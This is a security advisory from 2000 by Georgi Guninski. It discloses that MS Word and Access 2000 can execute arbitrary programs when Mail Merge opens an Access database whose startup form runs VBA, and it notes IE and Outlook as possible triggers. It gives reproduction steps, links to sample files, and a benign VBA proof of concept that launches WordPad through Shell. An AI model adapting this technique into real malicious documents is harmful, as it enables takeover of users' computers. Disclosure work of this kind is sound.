MS Word and MS Access vulnerability - executing arbitrary programs, may be exploited by IE/Outlook

Georgi Guninski security advisory #17, 2000

MS Word and MS Access vulnerability - executing arbitrary programs, may
be exploited by IE/Outlook

Systems affected: MS Word and MS Access 2000 (with or without Service
Release 1a)
IE and Outlook may be also used, but are not needed / Windows 98 -
almost sure other versions, have not tested
Risk: HIGH
Date: 7 August 2000

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute
parts of it without the author's written permission.

Description:
MS Word and MS Access 2000 (with or without Service Release 1a) allow
executing arbitrary programs if a Word document is opened.
This may be exploited also by visiting a web page with IE or
opening/previewing HTML email message with Outlook.
In order this to work, the user must be able to access a mdb file, which
resides either on an UNC share or a local drive.
This allows taking full control over user's computer.

Details:

The problem is MS Word accepts an Access database as a data source in
Mail Merge.
Worse, Word opens the database and executes VBA in forms that are opened
at database startup.
VBA allows executing arbitrary programs.

How to reproduce:

1) Create a db4.mdb file which opens a form at database startup and
executes VBA code in the form.
2) Place a copy of db4.mdb in C:\ (for example), you may place it on a
UNC share.
3) Open a Word document.
4) Select Tools->Mail Merge->Create->Mailing Labels->New Main Document
5) Select GetData->Open Data Source
6) Choose C:\db4.mdb
7) The rest of the wizard is trivial, you must save the new document.

Sample files are available:
http://www.nat.bg/~joro/wordaccess.doc
http://www.nat.bg/~joro/db4.mdb

Note: This is completely different issue from "Georgi Guninski security
advisory #14, 2000"
"IE 5 and Access 2000 vulnerability - executing programs", which needs
IE and ActiveX, while the current bug is in Word/Access.

-----------in Form1 of db4.mdb---------------------
Private Sub Form_Load()
On Error GoTo Err_Command0_Click
Dim stAppName As String
stAppName = "C:\Program Files\Accessories\wordpad.exe"
MsgBox ("Trying to start: " & stAppName)
Call Shell(stAppName, 1)

Exit_Command0_Click:
Exit Sub

Err_Command0_Click:
MsgBox Err.Description
Resume Exit_Command0_Click
End Sub

Form1 is automatically opened at database startup.
You must have a table in the database.

Regards,
Georgi Guninski
http://www.nat.bg/~joro